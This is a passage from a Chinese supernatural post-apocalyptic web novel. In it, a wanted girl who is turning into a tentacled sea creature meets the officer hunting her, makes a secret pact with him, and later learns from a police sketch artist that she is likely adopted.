烟雾缭绕的水汽遮挡了他的表情,他语调平静,罗木摸不准他的想法,干巴巴道:“为啥躲我们?就因为撞鬼?其实——”
罗木神情有些低落,“我总觉得她是不是……死了,因为她跑了后鬼境就消失了,她那么柔弱,怎么可能弄得过诡异?”
末世后,彭周一行人才知道,国家居然早就认可鬼魂的存在了,并且秘密进行了一些研究。
但是末世后,全世界枉死怨鬼数量激增,产生了许多可怖的诡异,有些诡异已经开始攻击人类,但人类没有任何反制手段,只能如同手无缚鸡之力的鸡一样被夺走生命。
现在国内出现诡异杀人事件,官方只能拼命隐藏,如果走漏了风声,后果将不堪设想!
彭周心沉了沉:而那个足可以影响人类未来,莫名消失的人,却疑似出现在了这块大陆。
在发现哑女就是温茉的第一时间,彭周就立刻打了加急报告传送回国,但卫星通讯受损严重,消息传到国内也要半个月左右了。
他简直是心急如焚,原本那天眼睁睁看着她跑了不见踪影后,就吃不好睡不好,愁得连抽烟的臭毛病都犯了。
谁知道柳暗花明又一村,今天又让他发现了温茉的踪迹!
这时,罗木推了推彭周肩膀,“大哥,说话啊!咋又发呆,你老是跟我说话就走神,太不尊重人了!”
“臭小子。”彭周回神,握拳轻咳:“事到如今,该告诉你了,哑女就是温茉,温茉就是哑女!”
罗木:“???”
彭周:“她的声音,虽然很沙哑,但我一耳朵就听出来了,还有那天她手腕上的镯子,那样阴邪漆黑的东西,看着就不舒服,我就见过那一个人带过。”
“还有哑女也能看见鬼,甚至不怕死的挑衅,最重要的证据是我们在医院里发现的跟国内一模一样的灰烬,那次的动静,估计就是她搞出来的!”
罗木实在太过震惊,失语了好一会儿,才找回声音:“不可能吧,她怎么跨过那么凶险辽阔的海洋跑到这儿?”
彭周握拳:“谁知道她有什么手段。今早我审问那女人,她说就见过一个黑发黑眼的小女生,一觉醒来就来到这儿了,除了她,谁还有那样通天的本事。”
“她应该有很大的概率还没走,或者说,我们主动去她出现的那座城市。”
罗木不知道在想什么,脸色微微发白,突然抱着自己打了个寒颤:“你说,她会不会正在暗处看着我们?还有她养的那只恶鬼!?”
提及到灵异元素,彭周的脸色也有些不好看,胸腔的热血都被浇灭了半盆,只是还嘴硬道:“在附近最好,拼尽全力,我也一定把这个通缉犯抓住。”
正好,此时陶特走了过来,他手指在嘴唇竖起,结束了这次谈话。
陶特请彭周去分配下午的活动,三人的沉重的脚步声逐渐远去,车旁的一个雪堆簌簌掉了些雪花,露出一小条长满金色眼眸的紫色触手。
所有的金色眼眸齐齐眨了眨。
温茉还真在周围,她把那母女三人连夜拉过来,刚安顿好,天就亮了,又听见嘈杂的人声,就变小藏起来了。
她有些疲惫,就缩着睡觉,谁知道就那么巧,彭周和罗木刚好在旁边谈话,刚好把她吵醒。
温茉听了几乎全部的内容,第一反应是:我咋成通缉犯了。
有她妈羊雅芝女士在朝做官,她还能被通缉吗?虽然逃跑是不太光彩,但也没这么严重吧?
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机器都没做好,她溜出去跑跑怎么了!
第二反应是:彭周果然是个头脑灵活的人。
温茉想起,上次罗木说过他们很快就会回国,相信在这最后的日子,彭周一定会带人疯一样地找她。
但她肯定是不会跟他们回国。
吞噬能量的感觉太好了,比克服心理负担生食血肉好太多了,温茉打心底里感谢那只运动服男诡,感谢它为自己变强做出的贡献。
她不回国,彭周肯定会疯一样骚扰她。
果冻一样Q弹小触手上所有金色的眼珠子转了转,片刻,温茉想到了一个好主意。
她抖掉身上的雪,见四下无人,撒丫子跑开了。
……
彭周今天的情绪和身体压力波动都很大,吃完晚饭,牌也不打了,早早地卷着被子躺床上了。
他队里一个小伙子,最近在跟当地姑娘谈恋爱,很晚才扭扭捏捏地进门,罗木一手逗猫,一手捏着,看见他赶紧喊:“快过来救急,我膀胱憋不住了!”
小伙子接手后,队友们都开始哄笑,“没见过处对象晚上姑娘送男的回家的!”
“零下几十度还要搁外头压马路,你俩真够行的,不怕亲嘴子把嘴皮黏上。”
“哈哈哈哈哈哈哈哈!”
小伙子脸红了,“别瞎想!我俩在屋里,她玩塔罗给我看!舍友们都能做证!”
罗木撒尿快,没两分钟就进屋,他指着小伙子道:“嘴角有口红。”
又是一阵哄笑,彭周忍无可忍,坐起身,“别猴叫了,让那些外国佬听见丢人。”
小伙子不好意思地捂着脸,眼睛却亮晶晶的,他看见彭周,急忙道:“哦,队长,刚有个小孩让我转交给你这个。”
他从口袋里掏出一封信,递过去,信封上用中语工工整整地写着:彭周亲启。
莫名地,彭周的右眼无缘由开始狂跳,他轻轻打开,映入眼帘两行大字。
【是我,别找,正在干大事】
【回国日期写基地门口雪地上,那一天我会现身跟你见面】
彭周心脏怦怦乱跳,手指快要把纸张捏碎,他来不及套衣服,穿着秋衣秋裤,在茫茫黑夜狂奔到大门外,手指颤抖着写下一行日期。
寒冷的气息试图钻进每个毛孔,彭周抱着双臂弓着背,牙齿都在打颤,他环顾远处黑暗,希望听到些什么。
可惜,除了呼呼的风声,什么也没有,寂静无声,只有由远及近的脚步声。
罗木抱着厚外套跟过来把他裹住,然后急吼吼地拉他回去。
温茉百无聊赖地蹲在几米外,确认他们走远了,才走过去查看,谁知一束雪白的光突然打在身上,然后彭周喊声就响起。
温茉转身消失在茫茫黑夜,从基地里跑出来一群人搜寻着,许久后也无果,彭周只能又一次失望离去。
他苦笑一声,还特种兵呢?被一个小姑娘一而再再而三地耍,真够丢人的。
罗木安慰他:“没事儿,老大,玩不过养鬼的不很正常吗?没准人家早变异了,毕竟连我都追不上。”
31. 第 31 章
彭周很焦虑,他无法确定温茉会不会信守承诺。
收到的通知是在一月底撤离,刚好能赶上回家过春节,在一周后,他又收到了另一封加急消息。
【务必把温茉带回国……】
但想到温茉这个恐怖的姑娘已经达到了夜行百公里的能力,彭周的压力剧增,焦虑地吐了好几次。
末世降临,彭周的个人心理承受能力大增,他估摸着,温茉的身上肯定是发生了什么不得了的奇遇。
2101年1月19日,基地所有的幸存者都已经住回城里了。那一天,彭周在空荡荡的基地门口蹲着,穿着黑大衣戴着帽子,远远望去像头黑熊一样。
大概晚上八点多,夜幕浓郁时,他才远远看见一个纤细的身影走过来。
温茉这次没有隐藏什么,长至后腰的黑色发丝在空中飞扬,她戴着发箍,露出光洁的额头和清冽的眼,没有穿鞋子,一步步走到他面前。
彭周扶着膝盖起身,心想:真是装都不装了。
“咳,可算来了。”
温茉:“嗯,路上遇到了个麻烦。”
彭周:“我咋感觉你长高了。”气色也好,嘴唇红艳艳的,原来的冻伤也不见了,脸庞容光焕发,跟刚吸了精气似的。
温茉:“谢谢,我现在一米八。”
她现在完全可以随意操控身高,甚至人形十几米都可以,但是最后综合下来,还是觉得一米八的感觉刚刚好。
而且还比温布惊高那么一丢丢。
她悄悄瞥了眼右手边几米远处,抱着双臂不吭声的某鬼。
都多久了,它都不主动说话,怎么会有鬼气性那么大的!
听了这话,彭周深呼一口气欲言又止,最后憋出一句话:“你要给我什么交代?”
温茉:“你打不过我,而我是不会跟你回去的,不过,我也不是那么不讲理的人,当初跑了是我不对。”
她抬手摸上自己的脸,猝不及防把左眼球挖了出来,幽蓝刺鼻的血液自空洞洞的眼眶流出,滴滴答答地落在雪地上。
彭周的瞳孔紧缩,脑子空白一瞬,却见她像是没事人一样,蹲下去把眼球放在雪里滚了滚,递过来,“喏,给你这个,我试验过了,只要冷冻住,四天内那些介虫还是有活力的。”
彭周十分忐忑,一脸愣怔地接过,干巴巴道:“这、这……”
温茉撩起纯白的袖子擦擦血水,不在意地笑了笑,“我挖过几次了,眼睛会长出来的,放心吧。”
彭周如梦初醒,慌乱地把“雪球”揣进口袋,直视她斟酌道:“可以告诉我……在你身上发生了什么吗?”
“你以后会知道的。”温茉的脸部肌肉因为痛感微微抽搐,表情却堪称平和,这种非人的反差带来的诡异感扑面而来。
彭周喉结滚动,开口又被打断,温茉抢先说道:“我憋得慌,彭周你是个很有原则的人,我想问问,如果有一天,我变成了一只怪物,但拥有人性和记忆,你会想着杀死我吗?”
沉默片刻,彭周喉咙干涩:“你会站在人类那边吗?”
温茉认真地想了想,回答道:“也许吧,我一直觉得我是一个好人。”
“好吧。”彭周道:“我有预感,未来你会搅动风云的。”
“我不介意当算命先生口中你人生中的贵人。”温茉伸出那只沾满蓝色血液的手,笑着,语气却略带威胁:“彭周,我们合作怎么样,我必须留在这里,你帮我牵制住国内。我保你以后荣华富贵。”
彭周冷笑一声,“你当我是什么样的人了?”
温茉只是胜券在握地看着他,伸出的手反而抬得更高。
慢慢地,彭周的表情平静下去,眼神闪烁,随后,他抿着嘴伸出手。
“我确实不甘心……我有老婆孩子,万一死在外面,他们就没法活了。”
温茉:“第一次见你,我就知道你是个野心很强的人,跟我妈那些下属注视她的眼神很像,都带着取代她的想法。”
彭周:“不想往上爬的士兵不是好将军。皇城下,出身太重要了,我真羡慕你。”
“哦。”温茉听多了这种话,没放在心上,随口打听道:“我妈现在怎么样了。”
“好极了。”彭周呼出一口气:“她现在是总经理。”
温茉的表情变得十分诧异,就连远处一直默默听着的温布惊都走了过来,一鬼一虫三只眼睛一齐盯着他。
不知为何,彭周感觉身上冷飕飕的,他裹紧大衣,道:“按理来说,那么多有功勋的上将,却是轮不到羊局长,但不知为何,系统里有一股神秘的力量在支持她。”
“我当时还在南方那片,消息传过来时,事情已经成定局了。”
温茉点点头,夸赞道:“羊女士确实是一个老谋深算很会运筹帷幄的人。总感觉那场面估计堪比九子夺嫡,没看到真可惜。”
彭周:“你的通缉令就是她亲自下发的。”
温茉:“为爱不择手段。”
彭周:“我倒是觉得不是那么一回事,虽然你不相信——温茉,你小心点你妈妈吧。”
温茉满不在意,“我有分寸。”
为了不刺激她,彭周想了想,终究咽下了即将脱口而出的话。
通缉令上可是写着,无论生死,立即带回送往研究所。
彭周是知道一些内幕的,任凭见鬼人生前有再大的本领,死了就什么都没有了。死了就是死了,跟世界上成千上万具尸体没有区别。
不知道,这位新总理,是想从女儿身上榨出什么剩余价值呢。
彭周摇摇脑袋让念头消散,脱下大衣张开双臂,“动手吧,没有伤说不过去。我会保守秘密,等我回去,给你争取至少半年不被打扰的期限。”
温茉撸起袖子:“我出手比较重,可能有致残风险哦~”
彭周咬咬牙,视死如归地闭上眼:“没事,只要别把我打死就行!”
……
彭周说到做到,不知道他用了什么手段,反正在他们回国后,确实是没有再看到国内有派兵过来。
温茉直接爽歪歪,伙同温布惊,逐渐在四个月内吞噬了统治西奥亚整座城的骨化虫群落。
那只虫母太能生了,花了好大力气才弄死它。
一不留神,夏天居然到了。
等温茉吞噬了抓到的最后一只小虫子的能量后,才察觉到温度居然已经到了很高的地步。
身体充满力量,高温倒是对她没有杀伤力,就像冬天的寒毒一样,完全没有任何感觉。只是冰雪消融,满城的尸体高度暴露着腐烂,滋生了无数的蚊虫。
所有的虫子,都是不敢接近温茉方圆百米的,导
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致她把注意力放在足以打上厚厚马赛克的尸体上,看见那自燃的破烂衣物时,才惊觉温度十分不对劲。
至于气味,每天,温茉不是在干架就是在干架的路上,伤口就没有断过,她自身的血液味道着实不好闻,就早早屏蔽了嗅觉。
温茉回到海洋。她长到了两千米长,此刻恐怕是整个地球上最大的无脊椎触须类海洋动物。
那些自来到地球后,整体身躯缩水的子民,在她的身前完全不够看的。
温茉这才意识到,深海族来到地球后有多憋屈,从堂堂汪洋一霸到如今的小虾米。
现在,子民们争先恐后来握她的触手,温茉都显得游刃有余。
没过几天,温茉又上岸了。
其实她原本想着直接回国,不知道为什么,莫名想知道当初那母女三人的处境,就又上岸摸了过去。
走之前,彭周好像把基地管理权给了那个叫玛瑞的?
他提过两句,说她信仰一种极端消极的宗教,温茉还以为基地会饿殍遍地破败不堪。
谁知道,现实完全跟想象不同,简直就像梦幻一样。
首先,这座城内居然没有随处发臭的尸体,气味清新,所处可见的植物疯长,配上各种动物叫声,颇有种原始世界的错觉。
最引人注目的,就是一颗颗高大的青皮果子树木,这些果子散发着一阵香气,温茉捡了一颗凑近了闻,却被呛得鼻子痛,感觉脑子都有些晕乎,还有点想吐。
不喜欢。
她撇撇嘴,随手扔掉,走到了城里规划的基地位置。
基地围着一圈高墙,上面扎着铁网,不知道通电没,反正看着寒光闪闪的。
温茉爬上最近的树冠上,一跃五米落进墙内,她穿的衣服有些破旧了,刚好看见杆上挂着一排晾晒的干净衣服,见没人,就上手巴拉。
她眼尖地看见一套牛仔背带裤,跟温布惊的那款很像,她摸了摸手镯,取下那套衣服换上。
嗯,大了很多,但是就当宽松款穿也可以。
温茉收紧了肩带,卷起裤腿。
她找了一圈,发现基地里没有一个人,但是地面上楼层间确实有着浓浓的生活气息。
她趴到地上嗅闻,才在一间保卫收发室闻到了一丝体味,味道是从地板缝里传出来的。
这里的人,还真是一如既往地喜欢往地下钻。
她轻轻敲了敲门板,伸手掀开了,一条修着阶梯的地道映入眼帘,里头传出了丝丝凉气,她刚要下去,就见一个低着脑袋的光头小个子出现在下面。
察觉到刺眼温暖的阳光,那光头猛然抬起脸,下一刻惊喜出声:“是你!”
意识到嗓门过大,她猛然捂住了嘴巴。
温茉仔细辨认五官,实在记不起她是谁,这是个光头小姑娘,应该不到十岁吧,脸上肉肉的,看起来精神也还可以,但眼神中却透着成熟稳重。
温茉:“是我,你是谁啊?”
小姑娘点了点头,“我见过你的照片,他们说抓住你有重赏。”
“他们说你叫温茉,但阿西娜很生气,说你叫晓丽,还把你的照片藏起来了。”
阿西娜?
温茉想起来了,当初那个刚生完孩子的女人。
看样子那边还是派人来找她了,不过这又关阿西娜什么事。
32. 第 32 章
温茉被小姑娘领下去,见到了一地下室光头。
男女的女,大的小的,人来人往,无一例外。
温茉才意识到,这哪是什么地下室,这明明是地下商场,空旷整洁的商场灯光明亮,白地砖干净的能映照出影子,有的商铺被改造成日常生活机构,看起来非常有规划。
温茉的眼睛都要看不过来,四处张望着,跟不少人对视上,相比于之前的麻木死寂,幸存者们有神采多了,浑身的戾气都没了。
温茉有一头柔顺的黑长发,比理发店墙上海报模特的还要漂亮,因此很引人注目,有不少穿着裙子的小孩羡慕地盯着她,不自觉都跟着在后面走。
小姑娘把温茉带到超市门口,小小的门口站着八个守卫,威严的眼神像X光般扫视着温茉,突然其中一个女人恍然大悟道,“天呐!你是当初那个女孩!”
温茉嗯了一声,阿西娜就从屋里走了出来,她眼神发光,紧紧盯着温茉的脸。
“太神奇了,没想到还能再见到你。”
她上前紧紧握住温茉的手,热情招呼着:“走!进去说!”
超市应该是整座地下商场最重要的地方,里面塞满了各式各样的冰柜,存放着所有的食品物资,地上满是密密麻麻的黑色电线,走路稍不注意就要绊脚。
阿西娜笑着说道:“我们把全城所有品质最好的冰箱搬过来了,食物也够好几个月吃的。接下来,就等温度降下来一些,自己种些食物。”
温茉点点头,“挺好的。”
因为冰柜的原因,超市的温度凉快多了,温茉惊讶地看见,不少靠墙角落摆放着三层高的床铺,上面挤着弱势人群。
温茉跟着阿西娜走进商场员工休息室,她坐到沙发上,阿西娜拿了两杯冰水放到桌子上。
温茉转了转手上的镯子,率先开口:“真巧,没想到你们来了这。”
阿西娜:“我也才来两个月,玛瑞受了点伤,就把管理权暂时交给我了。”
温茉:“我看好你。”
阿西娜:“说说你吧。你接下来是什么打算?你的事,我都听说了。真没想到,你的身份居然那么贵重,你妈妈很厉害。”
温茉:“谈不上贵重,我妈妈是我妈妈,我只是个普通人。”
“我要回国了,就这几天。”
阿西娜表情担忧:“可是,那边给你下达的是通缉令呀,要不要,就留在这里,当晓丽,我可以一直藏着你……”
温茉摇摇头,谢绝了她的好意:“放心吧,我有分寸,我家那边不会把我怎么样的,毕竟我还很有价值。”
见她没有勉强,阿西娜这才松了一口气,“你心里有底就好,出来这么久,你妈妈肯定也很想你了。”
她又一脸感慨:“真好,你们国家现在是全世界最安全的地方了。”
温茉一本正经:“我可以帮你偷渡过去。”
阿西娜正端着水喝,闻言呛了一下,“那还是不用了,我走不开。”
两人大眼瞪小眼,干巴巴坐了一会儿后,温茉才想起来自己来这里干嘛的,阿西娜听她说完后想了想,“我有印象,她们母女三人现在都在医院帮忙,你不知道吧,那两个小女孩,只有一个是优子亲生的,另一个是她逃命半路捡来的。”
温茉非常欣慰,“看来当初没救错人。对了,当初跟优子一起的有一伙很凶悍的团伙,你们要小心。”
“我知道,他们暂时还没出现。”阿西娜一脸严肃,“我最讨厌毒、品了,让我抓到那伙人,一定弄死他们。”
温茉伸出大拇指,“不愧是警官。”
她拿起冰水一饮而尽,随后起身道别,“看你们过得挺好就行,我走了。”
“别——”阿西娜猛地起身,面露难色道:“我想拜托你一件事。”
她忌讳地看了看房间角落,压低了声音:“我听说你跟鬼怪打交道,除了你没谁能帮我了。大概半个月前,基地里突然出现好几起灵异事件。”
“有几个年轻人,竟然在睡梦中活生生自己动手挖掉了双眼!有两个孩子接受不了,苏醒后就自杀了!”
“基地里人心惶惶,都说是闹鬼了,医生一会儿说可能是心理问题,一会儿又说检查不出来什么,我们这也没有催眠师,你看看这是不是真的是鬼干的?”
温茉神色认真起来,“有可能,但是我现在并没有看到什么鬼怪,你带我把基地都转一圈吧。”
“好好好。”阿西娜忙不迭应下。
可是足足把基地翻了个底朝天,温茉也没有看见一只鬼,说实话,这里真的很干净,但也让温茉确定阿西娜说的是真的,肯定曾经有一只大诡,吸收吞噬了所有的小鬼。
只能拜托温布惊了……
说来,兄妹俩一直沉浸在尴尬的氛围中,好久没说话了,温布惊战斗后就躲进镯子里,连多看温茉一眼都没有。
两人回到休息室,温茉靠着门清了清嗓子,伸手敲了敲镯子,柔声道:“哥,你听到了吧,出来帮个忙呗。”
下一秒,温布惊就从镯子里飘出来,看见温茉的穿着,它愣了一下扭过脑袋,随后穿墙离开了。
温茉:“我哥去探查了,很快就回来。”
阿西娜瞪大了眼,小心翼翼道:“那就是你的哥哥……晓刚?”
温茉:“那是假名字啦,我哥哥叫温布惊。”
两人放松地坐下聊天,阿西娜好奇道:“你哥哥长什么样子啊?是不是跟你很像?”
“还好啦,小时候,大家都说我们眼睛一样大又圆。”
温茉从衣服里掏出温布惊的缩小版遗照,阿西娜凑过脑袋看,笑着的表情逐渐收起,转而变为一种凝重的神色,目光在照片和温茉脸上来回移动。
温茉有些奇怪:“怎么了?”
阿西娜直起身体,吞吞吐吐:“没什么,你们是亲兄妹吗?”
不知道为什么,温茉心里莫名咯噔了一下,她道:“是亲的,怎么了你快说啊?”
“就是……”阿西娜跟她对视,“我没有跟你说过,我其实还是警队里的模拟画像师,基本看到一个人小时候的长相,就大概能判断出他长大后的大致长相。”
温茉的心跳逐渐加快,眼睛一眨不眨听着她继续道:“可是我发现,你们两个的骨骼走向根本没有相似之处……”
像是害怕温茉不相信,阿西娜随手拿起了办公桌上的纸笔,低头唰唰唰快速画出了一张人物简画。
“这是你哥哥长大后的大概
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长相,你可以看看。”
温茉慢慢接过那张纸,仿佛它有千斤重,在看到那张脸,温茉的脸色唰一下白了。
这张脸,这张脸跟现在的温布惊有七分像!
阿西娜职业病犯了,又重新拿起纸笔画了一张,“这是我推断的你小时候的长相,你跟遗照放在一起看看。小孩子的眼睛都很大,相似也是正常的。”
温茉盯着黑白铅笔画出的那个笑着的小女孩,喉咙发紧,她把遗照放在旁边对比,想要找出哪怕一丝的相像。
可是没有,真的除了大眼睛外,两张笑着的脸真的没有相似之处。
甚至细看,两双眼睛的眼尾也不太一样,小女孩的偏圆,干净利落,看着就甜甜的,男孩的眼尾则是稍稍往上翘,显得深邃几分,气质带着攻击性。
“我的手艺没退步。”阿西娜满意地看着两张速画像,欣赏了好一会儿,才察觉到温茉难看的表情,她突然反应自己好像闯了大祸,有点不敢再说话。
温茉眼神闪烁,脑子飞快地回想起小时候的场景,从有记忆起,她就生活在幸福家庭里,只是偶尔,妈妈单位的同事会打趣道:“羊队口口声声说只要一个孩子,外派两年回来后,居然连女儿都生了!”
还有,羊雅芝怀温布惊的时候,心血来潮跟风拍过孕妇照,到了温茉的时候,却没留下一张照片,温茉曾经还问过,羊雅芝给的理由是:
“那时候工作太忙了,没空拍呀宝贝。而且这种东西,跟风一次就够了。”
综上种种,温茉,不是亲生的。
温茉知道警局内模拟画像师的厉害,也相信阿西娜的实力,她一时有些无法接受这件事,整个人处于非常恍惚的状态,脸色苍白得像纸一样,整个人快要喘不上来气。
阿西娜看着她急促吸气,身体轻颤,吓得抱住她脱口而出:“温茉,别吓我,你不会有哮喘吧?”
温茉紧紧掐着手心,觉得阿西娜的话语像隔了一层水一样模糊混沌,她好一会儿才缓和好,“我没事。”
阿西娜拍了拍胸脯,“没事就好。”
她看着捏着纸张,魂不守舍的温茉,满怀歉意道:“对不起,我没想到这对你的伤害这么大,在我们这里,兄弟姐妹间没有血缘关系很正常。”
“你没有错。”温茉眼圈一红,她茫然地盯着雪白的墙面,硬生生止住想哭的冲动,“是我还要谢谢你。”
温茉轻轻对自己说道:“虽然我不是亲生的,但是我爸妈都对我很好,我没必要纠结这些。”
阿西娜赶紧道:“对!不能百分百确定!其实我能力没那么强,而且你们外国人样貌特征跟我们不一样,我手歪画不准也有可能。”
温茉苦笑一声。
就在这时,温布惊回来了,它气质冷淡,却在看到温茉眼圈红红的时候情绪出现了波动,它飘过来紧紧抓住她的手腕,有些焦躁问道:“这个女人欺负你了!?”
温茉鼻子一酸,抬头认真盯着温布惊的长相,仔仔细细看过一遍,心情更加苦涩沉重。
她悄悄把两张纸捏成团扔到桌下,摇摇头,“没事,我打了个哈欠。”
温布惊不相信,她却不愿多说快速转移话题:“……哥,怎么样,找到什么没?”